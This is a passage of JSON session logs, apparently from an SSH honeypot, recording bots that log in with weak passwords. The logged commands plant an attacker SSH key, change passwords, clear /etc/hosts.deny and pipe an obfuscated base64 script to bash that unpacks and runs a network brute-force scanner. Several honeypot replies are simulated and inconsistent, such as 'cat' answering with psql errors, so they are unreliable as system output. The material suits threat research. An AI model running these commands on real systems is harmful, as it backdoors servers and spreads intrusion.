zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T13:34:30.465259+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T13:34:30.465816+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T13:34:30.837305+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T13:34:30.837934+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T13:34:31.209237+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T13:34:31.209861+00:00","kind":"output","latency_ms":null,"data":"samr"},{"seq":29,"at":"2026-08-23T13:34:31.578119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T13:34:32.329213+00:00","kind":"output","latency_ms":750,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel(s) 1\nCPU family: 25\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel(s) 8"},{"seq":31,"at":"2026-08-23T13:34:32.703579+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T13:34:33.139499+00:00","kind":"output","latency_ms":436,"data":"24G"},{"seq":33,"at":"2026-08-23T13:34:34.438088+00:00","kind":"input","latency_ms":null,"data":"echo \"samr samr\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T13:34:34.808136+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T13:34:35.262465+00:00","kind":"output","latency_ms":455,"data":""},{"seq":36,"at":"2026-08-23T13:34:36.181140+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T13:34:36.724558+00:00","kind":"output","latency_ms":541,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T13:34:37.095570+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:34:37.783140+00:00","kind":"output","latency_ms":687,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:34:38.152237+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:34:38.533465+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T13:34:39.023630+00:00","kind":"output","latency_ms":488,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T13:34:39.405674+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:34:39.997186+00:00","kind":"output","latency_ms":590,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:34:40.385420+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T13:34:40.800102+00:00","kind":"output","latency_ms":415,"data":""},{"seq":47,"at":"2026-08-23T13:34:48.719063+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T13:34:48.719360+00:00","kind":"output","latency_ms":null,"data":"samr"}],"credentials":[{"username":"samr","password":"samr","method":"password","accepted":true,"tier":"other"}]} {"id":"55f4bf7c-8351-4936-adaf-98ea4854c7bc","name":"cosmic-dapper-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"172.202.9.120","src_port":53304,"username":"nobody","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":168,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T09:48:02.182225+00:00","ended_at":"2026-08-23T09:48:02.225005+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4227,"events":[{"seq":1,"at":"2026-08-23T09:47:39.705392+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T09:47:39.873614+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T09:47:43.275083+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T09:47:43.275466+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T09:47:43.441506+00:00","kind":"input","latency_ms":null,"data":"echo -e \"nobody\\nxDB3JuvAfC57\\nxDB3JuvAfC57\"|passwd|bash"},{"seq":6,"at":"2026-08-23T09:47:43.608052+00:00","kind":"input","latency_ms":null,"data":"echo \"nobody\\nxDB3JuvAfC57\\nxDB3JuvAfC57\\n\"|passwd"},{"seq":7,"at":"2026-08-23T09:47:43.774297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T09:47:43.775576+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T09:47:43.943201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T09:47:44.811688+00:00","kind":"output","latency_ms":867,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T09:47:44.980454+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T09:47:45.704528+00:00","kind":"output","latency_ms":723,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T09:47:45.873487+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T09:47:45.875045+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T09:47:46.051130+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T09:47:46.052528+00:00","kind":"output","latency_ms":null,"data":" 09:47:46 up 3 days, 6:37, 0 user, load average: 0.19, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T09:47:46.220578+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T09:47:46.222481+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T09:47:46.389215+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T09:47:46.389606+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T09:47:46.557471+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T09:47:46.559891+00:00","kind":"output","latency_ms":null,"data":"top - 09:47:46 up 3 days, 6:37, 0 user, load average: 0.19, 0.2, 0.17\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T09:47:46.730885+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T09:47:46.731529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T09:47:46.898339+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T09:47:46.900277+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T09:47:47.073398+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T09:47:47.074109+00:00","kind":"output","latency_ms":null,"data":"nobody"},{"seq":29,"at":"2026-08-23T09:47:47.244638+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T09:47:48.425168+00:00","kind":"output","latency_ms":1179,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T09:47:48.594618+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T09:47:49.012180+00:00","kind":"output","latency_ms":416,"data":"28G"},{"seq":33,"at":"2026-08-23T09:47:49.653662+00:00","kind":"input","latency_ms":null,"data":"echo \"nobody nobody\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T09:47:49.824061+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T09:47:50.217166+00:00","kind":"output","latency_ms":391,"data":""},{"seq":36,"at":"2026-08-23T09:47:50.377594+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T09:47:51.049594+00:00","kind":"output","latency_ms":672,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":38,"at":"2026-08-23T09:47:51.225395+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T09:47:51.743136+00:00","kind":"output","latency_ms":517,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":40,"at":"2026-08-23T09:47:51.939599+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T09:47:52.106746+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T09:47:52.841143+00:00","kind":"output","latency_ms":734,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":43,"at":"2026-08-23T09:47:53.008813+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T09:47:53.686374+00:00","kind":"output","latency_ms":677,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":45,"at":"2026-08-23T09:47:53.855390+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T09:47:54.303196+00:00","kind":"output","latency_ms":446,"data":""},{"seq":47,"at":"2026-08-23T09:48:02.183349+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T09:48:02.185352+00:00","kind":"output","latency_ms":null,"data":"nobody"}],"credentials":[{"username":"nobody","password":"nobody","method":"password","accepted":true,"tier":"other"}]} {"id":"a8a8dac7-e250-4c2b-8d5a-3dd11cce1446","name":"salty-whispering-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"192.169.201.223","src_port":33562,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":224,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T08:15:44.521354+00:00","ended_at":"2026-08-23T08:15:44.584189+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4126,"events":[{"seq":1,"at":"2026-08-23T08:14:13.020190+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T08:14:13.242114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T08:14:15.830869+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T08:14:15.831938+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T08:14:16.055248+00:00","kind":"input","latency_ms":null,"data":"echo \"root:u1UXnBrj45GV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T08:14:16.280758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T08:14:16.502391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T08:14:16.503149+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T08:14:16.726804+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T08:14:17.215754+00:00","kind":"output","latency_ms":488,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T08:14:17.440254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T08:14:17.994071+00:00","kind":"output","latency_ms":553,"data":"-rwxr-xr-x 1 root root 148K Jan 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T08:14:18.217854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T08:14:18.218527+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T08:14:18.441183+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T08:14:18.441691+00:00","kind":"output","latency_ms":null,"data":" 08:14:18 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T08:14:18.665082+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T08:14:18.665509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T08:14:18.889945+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T08:14:18.890408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T08:14:19.113770+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T08:14:19.114422+00:00","kind":"output","latency_ms":null,"data":"top - 08:14:19 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T08:14:19.337831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T08:14:19.338576+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T08:14:19.562576+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T08:14:19.563142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T08:14:19.786805+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T08:14:19.787323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T08:14:20.011093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T08:14:21.034007+00:00","kind":"output","latency_ms":1021,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T08:14:21.259055+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T08:14:21.725842+00:00","kind":"output","latency_ms":466,"data":"24G"},{"seq":33,"at":"2026-08-23T08:14:22.437477+00:00","kind":"input","latency_ms":null,"data":"echo \"root sc@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T08:14:22.660634+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T08:14:23.067790+00:00","kind":"output","latency_ms":405,"data":""},{"seq":36,"at":"2026-08-23T08:14:23.410153+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T08:14:24.006648+00:00","kind":"output","latency_ms":596,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":38,"at":"2026-08-23T08:14:24.309454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T08:14:24.888827+00:00","kind":"output","latency_ms":578,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":40,"at":"2026-08-23T08:14:25.400742+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T08:14:25.877774+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T08:14:26.475715+00:00","kind":"output","latency_ms":597,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":43,"at":"2026-08-23T08:14:27.006845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T08:14:27.610182+00:00","kind":"output","latency_ms":602,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":45,"at":"2026-08-23T08:14:28.081112+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T08:14:28.548309+00:00","kind":"output","latency_ms":465,"data":""},{"seq":47,"at":"2026-08-23T08:15:44.522419+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T08:15:44.523412+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"sc@123","method":"password","accepted":true,"tier":"other"}]} {"id":"25950a94-a394-42f1-b979-f009f0dc92f4","name":"spirited-shaded-rook","protocol":"ssh","channel_kind":"exec","src_ip":"43.130.249.176","src_port":53634,"username":"tuan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":582,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T08:14:07.773215+00:00","ended_at":"2026-08-23T08:14:07.952902+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3850,"events":[{"seq":1,"at":"2026-08-23T08:13:31.201434+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T08:13:31.781865+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T08:13:37.191527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T08:13:37.192459+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T08:13:37.774756+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tuan123\\nVOjNm6vdadza\\nVOjNm6vdadza\"|passwd|bash"},{"seq":6,"at":"2026-08-23T08:13:38.354887+00:00","kind":"input","latency_ms":null,"data":"echo 